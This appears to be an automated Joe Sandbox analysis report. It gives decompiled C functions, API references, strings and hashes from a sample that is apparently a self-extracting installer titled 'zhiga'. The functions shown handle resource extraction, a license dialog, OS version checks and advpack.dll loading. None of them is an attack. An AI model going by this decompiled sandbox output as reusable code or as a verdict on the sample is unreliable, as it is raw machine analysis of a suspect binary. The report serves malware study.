Instruction Fuzzy Hash: 3E311872E00119AFCF14CEB8DA989EEBBB5FB89310F154169F845F3244DA35AD058B60

Uniqueness

Uniqueness Score: -1.00%

Function 01096298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E01096298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x1098004; // 0x8a9c601
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E0109171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x1099124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x109a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E0109171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E01096CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x01096298
0x010962a0
0x010962a7
0x010962ad
0x010962af
0x010962bb
0x010962c3
0x010962c4
0x0109633b
0x0109633b
0x01096345
0x0109634d
0x00000000
0x00000000
0x010962da
0x010962de
0x0109635f
0x01096369
0x010962e0
0x010962e0
0x010962e0
0x010962e3
0x010962e5
0x010962e5
0x010962e8
0x010962e8
0x010962ea
0x010962eb
0x010962ef
0x010962f1
0x010962f3
0x01096302
0x01096308
0x0109630d
0x01096314
0x01096314
0x01096316
0x01096319
0x01096355
0x01096357
0x0109631b
0x0109631b
0x01096331
0x01096334
0x01096339
0x00000000
0x01096339
0x01096319
0x0109636b
0x0109637d
0x0109637d
0x00000000

APIs

Part of subcall function 0109171E: _vsnprintf.MSVCRT ref: 01091750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,010951CA,00000004,00000024,01092F71,?,00000002,00000000), ref: 010962CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,010951CA,00000004,00000024,01092F71,?,00000002,00000000), ref: 010962D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010951CA,00000004,00000024,01092F71,?,00000002,00000000), ref: 0109631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 01096345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,010951CA,00000004,00000024,01092F71,?,00000002,00000000), ref: 01096357

Strings

UPDFILE%lu, xrefs: 010962B3, 01096329

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 3763e9582f051459d6dcf5fed6403a882af21359e9fb1e0a4fda247bb981684d
Instruction ID: e574a54c415843d068e2f974c5bbe5e12bccdf18375cc5d19f50ba44a80826b6
Opcode Fuzzy Hash: 3763e9582f051459d6dcf5fed6403a882af21359e9fb1e0a4fda247bb981684d
Instruction Fuzzy Hash: 1121F875B0021AAFDF219F65DC659FEBB78FB44714B008159F982A3240D73B99019BE0

Uniqueness

Uniqueness Score: -1.00%

Function 0109681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0109681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x1098004; // 0x8a9c601
				_v8 = _t19 ^ _t44;
				_t41 =  *0x10981d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x10981d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x10981d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x1091140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E010966F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x10981d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E01096CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x0109681f
0x0109682a
0x01096831
0x01096836
0x0109683c
0x0109683e
0x01096848
0x01096851
0x0109685d
0x01096864
0x01096876
0x0109693a
0x0109693a
0x0109687c
0x0109687e
0x01096885
0x00000000
0x010968d6
0x010968f4
0x01096900
0x01096902
0x0109690a
0x00000000
0x0109690c
0x0109690c
0x0109691c
0x00000000
0x0109691e
0x01096924
0x0109692b
0x01096932
0x00000000
0x00000000
0x00000000
0x0109692b
0x0109691c
0x0109690a
0x01096885
0x01096876
0x01096951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0109686E
GetSystemMetrics.USER32(0000004A), ref: 010968A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010968CC
RegQueryValueExA.ADVAPI32(?,01091140,00000000,?,?,0000000C), ref: 010968F4
RegCloseKey.ADVAPI32(?), ref: 01096902

Part of subcall function 010966F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0109691A), ref: 01096741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 010968C2

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 206c4f4cbc53db3354ebf9f5f5b5486bbc1d9218fd9198121288cf9855df9a49
Instruction ID: e7bf8eaddebc5782af89251379bd2a63275c694f366dc7eeaa3fc65d60256558
Opcode Fuzzy Hash: 206c4f4cbc53db3354ebf9f5f5b5486bbc1d9218fd9198121288cf9855df9a49
Instruction Fuzzy Hash: 6D317F71A00228DFDF318B15CC64BEAB7BCFB46764F0041E6E989A6240D7369985DB51

Uniqueness

Uniqueness Score: -1.00%

Function 01093A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01093A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E0109468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x1098d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E0109468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x1098d4c, "<None>") == 0) {
							LocalFree( *0x1098d4c);
							L9:
							 *0x1099124 = 0;
							return 1;
						}
						_t9 = E01096517(_t19, 0x7d1, 0, E01093100, 0, 0);
						LocalFree( *0x1098d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x1099124 = 0x800704c7;
						L2:
						return 0;
					}
					E010944B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x1098d4c);
					 *0x1099124 = 0x80070714;
					goto L2;
				}
				E010944B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x1099124 = E01096285();
				goto L2;
			}

0x01093a46
0x01093a57
0x01093a5d
0x01093a63
0x01093a6a
0x01093a91
0x01093a9a
0x01093ad8
0x01093b13
0x01093b19
0x01093b1b
0x00000000
0x01093b21
0x01093ae7
0x01093af4
0x01093afc
0x00000000
0x00000000
0x01093afe
0x01093a87
0x00000000
0x01093a87
0x01093aa8
0x01093ab3
0x01093ab9
0x00000000
0x01093ab9
0x01093a78
0x01093a82
0x00000000

APIs

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01092F64,?,00000002,00000000), ref: 01093A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 01093AB3

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Part of subcall function 01096285: GetLastError.KERNEL32(01095BBC), ref: 01096285

lstrcmpA.KERNEL32(<None>,00000000), ref: 01093AD0
LocalFree.KERNEL32 ref: 01093B13

Part of subcall function 01096517: FindResourceA.KERNEL32(01090000,000007D6,00000005), ref: 0109652A
Part of subcall function 01096517: LoadResource.KERNEL32(01090000,00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01096538
Part of subcall function 01096517: DialogBoxIndirectParamA.USER32(01090000,00000000,00000547,010919E0,00000000), ref: 01096557
Part of subcall function 01096517: FreeResource.KERNEL32(00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01096560

LocalFree.KERNEL32(00000000,01093100,00000000,00000000), ref: 01093AF4

Strings

LICENSE, xrefs: 01093A46
<None>, xrefs: 01093AC5

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 628c7f7d23414fe5c5d71dcccaad7fb830272c0d2bcc13f120916ebef346417e
Instruction ID: 1d8cedc2612d0a9c50342ff855616d7c2c45a72d799c8e040ba02d42b24d1a6a
Opcode Fuzzy Hash: 628c7f7d23414fe5c5d71dcccaad7fb830272c0d2bcc13f120916ebef346417e
Instruction Fuzzy Hash: FA119D70701201ABDF34AF769D38E5B3AF9FBD9750B00442EB5C5DA298DA7F8801AB54

Uniqueness

Uniqueness Score: -1.00%

Function 010924E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010924E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x1098004; // 0x8a9c601
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E0109658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E01096CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x010924e0
0x010924eb
0x010924f2
0x010924f7
0x01092504
0x0109250e
0x0109251d
0x0109252c
0x01092541
0x01092546
0x01092553
0x01092555
0x01092555
0x01092546
0x0109256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 01092506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0109252C
_lopen.KERNEL32(?,00000040), ref: 0109253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0109254C
_lclose.KERNEL32(00000000), ref: 01092555

Strings

wininit.ini, xrefs: 01092510

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: d4d4a46f451d9b4a425caf3f7d4dc2b8123da354180139c1ffc7cf0f1590385b
Instruction ID: 1ed6a957e572f70a0f5b962be2255a5f591d826cd30ee463a04f85297e074496
Opcode Fuzzy Hash: d4d4a46f451d9b4a425caf3f7d4dc2b8123da354180139c1ffc7cf0f1590385b
Instruction Fuzzy Hash: 96017931700118A7DB309A699C2CEDF7B7CEB95750F000195FA85D3144DA794E55CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010936EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010936EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x1098004; // 0x8a9c601
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x1098184 = 1;
						 *0x1098180 = 1;
						L13:
						 *0x1099a40 = _t119;
						L14:
						__eflags =  *0x1098a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E01092A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E01092A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x1098a38 & 0x00000001;
											if(( *0x1098a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("zhiga");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E0109681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "zhiga", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E010967C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E010928E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x1099a40 = _t119;
						 *0x1098184 = 1;
						 *0x1098180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x1099a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x1098184 = _t135;
							 *0x1098180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E010944B9(0, _t138);
					L66:
					return E01096CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x010936f9
0x01093700
0x0109370c
0x01093716
0x01093718
0x0109371b
0x01093721
0x0109372b
0x0109373d
0x01093745
0x01093746
0x01093746
0x01093749
0x010937ab
0x010937ad
0x010937ae
0x010937b3
0x010937b8
0x010937b8
0x010937bf
0x010937bf
0x010937c5
0x00000000
0x00000000
0x010937cb
0x010937cd
0x00000000
0x00000000
0x010937d5
0x010937db
0x010937e8
0x010937ea
0x010937ea
0x010937ea
0x010937f0
0x010937f6
0x01093805
0x01093817
0x0109382b
0x01093830
0x01093836
0x0109383b
0x0109383d
0x010938eb
0x010938eb
0x010938f2
0x0109390c
0x01093911
0x01093911
0x01093913
0x0109394d
0x0109394d
0x0109394f
0x010938a9
0x010938a9
0x010938b0
0x010938b2
0x010938b9
0x010938bb
0x010938c1
0x01093975
0x010938c7
0x010938de
0x010938e0
0x010938e0
0x0109397b
0x0109397d
0x010939a9
0x0109397f
0x01093982
0x0109398b
0x0109398d
0x0109398f
0x0109399f
0x010939a1
0x01093991
0x01093991
0x01093991
0x0109398f
0x010939af
0x010939b6
0x01093a0f
0x01093a0f
0x01093a11
0x01093a13
0x01093a19
0x00000000
0x010939b8
0x010939b8
0x010939ba
0x00000000
0x00000000
0x010939bc
0x010939bf
0x00000000
0x00000000
0x010939c3
0x010939c9
0x010939ce
0x010939d0
0x010939e3
0x010939e5
0x010939e6
0x010939f1
0x010939f7
0x010939fa
0x01093a01
0x01093a04
0x00000000
0x00000000
0x01093a06
0x01093a09
0x01093a09
0x01093a0b
0x01093a0b
0x00000000
0x01093a09
0x010939fc
0x00000000
0x010939fc
0x010939d3
0x010939d8
0x010939da
0x00000000
0x00000000
0x00000000
0x010939dc
0x010939b6
0x01093955
0x0109395b
0x00000000
0x00000000
0x01093961
0x01093963
0x00000000
0x00000000
0x01093969
0x01093969
0x00000000
0x01093969
0x01093915
0x01093915
0x0109391b
0x0109391f
0x00000000
0x00000000
0x0109392d
0x01093933
0x01093938
0x0109393a
0x00000000
0x00000000
0x01093940
0x01093946
0x0109394b
0x00000000
0x0109394b
0x00000000
0x010938f2
0x01093843
0x01093845
0x00000000
0x00000000
0x0109384b
0x0109384d
0x01093883
0x01093885
0x00000000
0x00000000
0x0109389a
0x0109389e
0x0109389e
0x00000000
0x00000000
0x010938a0
0x010938a0
0x010938a2
0x00000000
0x00000000
0x010938a4
0x00000000
0x010938a4
0x0109384f
0x01093851
0x01093857
0x0109386e
0x01093877
0x0109387b
0x00000000
0x00000000
0x00000000
0x01093881
0x01093859
0x0109385c
0x01093862
0x01093866
0x00000000
0x00000000
0x01093868
0x00000000
0x010938f4
0x010938f4
0x010938f5
0x010938fb
0x01093901
0x01093901
0x00000000
0x0109390a
0x0109374b
0x0109374e
0x0109375c
0x01093764
0x01093769
0x0109376e
0x01093771
0x0109379c
0x0109379f
0x00000000
0x00000000
0x010937a3
0x010937a4
0x00000000
0x010937a4
0x01093773
0x01093777
0x01093778
0x0109377f
0x01093781
0x0109378e
0x0109378e
0x01093794
0x00000000
0x01093794
0x01093783
0x00000000
0x00000000
0x01093785
0x0109378c
0x00000000
0x00000000
0x00000000
0x0109378c
0x01093750
0x00000000
0x0109372d
0x0109372d
0x0109396b
0x0109396b
0x0109396c
0x0109396e
0x0109396f
0x01093a1e
0x01093a1e
0x01093a22
0x01093a27
0x01093a3e
0x01093a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 01093723
MessageBeep.USER32(00000000), ref: 010939C3
MessageBoxA.USER32(00000000,00000000,zhiga,00000030), ref: 010939F1

Strings

3, xrefs: 01093785
zhiga, xrefs: 010939E9, 01093A19

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$zhiga
API String ID: 2519184315-2183486482
Opcode ID: 8a050afa2ca82b738977f18320422bace9cd82c6fbc77c9da27cc63b850d8abb
Instruction ID: 7aa3ee42c36db00fa5299bf131ceca7ba4e1bf4c81d3999db19d2965f24667ad
Opcode Fuzzy Hash: 8a050afa2ca82b738977f18320422bace9cd82c6fbc77c9da27cc63b850d8abb
Instruction Fuzzy Hash: D191B071E012259BEFB58A39C8A07EAB7E5FB45304F0540EAD9C9DF241D7398D80AF41

Uniqueness

Uniqueness Score: -1.00%

Function 01096495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E01096495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x1098004; // 0x8a9c601
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E01091781( &_v268, 0x104, __ecx, "C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
				_t26 = "advpack.dll";
				E0109658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E01096CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

